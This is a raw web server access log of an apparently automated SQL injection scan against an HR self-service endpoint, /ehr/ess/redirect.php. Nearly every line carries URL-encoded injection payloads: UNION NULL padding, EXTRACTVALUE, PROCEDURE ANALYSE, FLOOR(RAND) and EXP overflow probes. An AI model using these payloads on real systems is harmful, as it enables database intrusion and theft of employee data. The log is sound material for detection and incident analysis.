100.64.0.1 - - [07/Sep/2025:02:22:32 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x696c4c6c%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x70717552%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FMNAd%29&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:32 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x696c4c6c%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x70717552%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FMNAd%29&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:22:33 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:33 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x64364e56%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x71534445%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%29&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:33 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2FORPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x794a4435%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x454e6a6f%29%29%2C1%29--%2F%2A%2A%2FB5YI&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:33 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2FORPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x794a4435%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x454e6a6f%29%29%2C1%29--%2F%2A%2A%2FB5YI&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:33 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:33 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:33 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x78546d39%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x65316137%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FY5Yh%29&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:33 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x78546d39%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x65316137%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FY5Yh%29&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:33 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:33 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:33 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x42394c42%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x62786659%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FyP6j%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:33 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:33 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x4836567a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6d737435%29%29%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FgtC0%29&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:33 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x4836567a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6d737435%29%29%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FgtC0%29&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:22:33 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:33 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2FANDPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x63494245%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x5441656a%29%29%2C1%29--%2F%2A%2A%2Fbkvu&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:33 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:33 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2FORPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x794a4435%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x454e6a6f%29%29%2C1%29--%2F%2A%2A%2FB5YI&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:33 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:33 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x78546d39%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x65316137%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FY5Yh%29&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:33 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:33 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:33 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:33 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:33 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:33 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:33 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:33 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:33 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:33 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:33 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x4f794a6a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x686c6a49%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29--%2F%2A%2A%2FLnyV&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:33 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x4f794a6a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x686c6a49%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29--%2F%2A%2A%2FLnyV&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:33 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x484e5a53%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x5a383669%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29--%2F%2A%2A%2FmV9l&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:33 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x484e5a53%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x5a383669%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29--%2F%2A%2A%2FmV9l&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:33 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x4d776947%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x38793245%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2Fdtyr%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:33 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x4d776947%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x38793245%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2Fdtyr%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:33 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x4d4f4f46%2C%28NULL%29%2C0x37707952%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D--%2F%2A%2A%2FvGvY%29&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:33 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x4d4f4f46%2C%28NULL%29%2C0x37707952%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D--%2F%2A%2A%2FvGvY%29&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:33 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x30554442%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x70737253%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FHPDo%29 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:33 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x30554442%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x70737253%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FHPDo%29 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:33 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x6167426a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x48695741%29%29x%29%29--%2F%2A%2A%2F04Hz&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:33 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x6167426a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x48695741%29%29x%29%29--%2F%2A%2A%2F04Hz&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:33 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:33 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:33 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x66564854%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x63426f56%29%29x%29%29--%2F%2A%2A%2FH4RF&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:33 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x66564854%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x63426f56%29%29x%29%29--%2F%2A%2A%2FH4RF&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:33 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x4f794a6a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x686c6a49%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29--%2F%2A%2A%2FLnyV&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:33 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:33 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x53425051%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6d4c4855%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%29 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
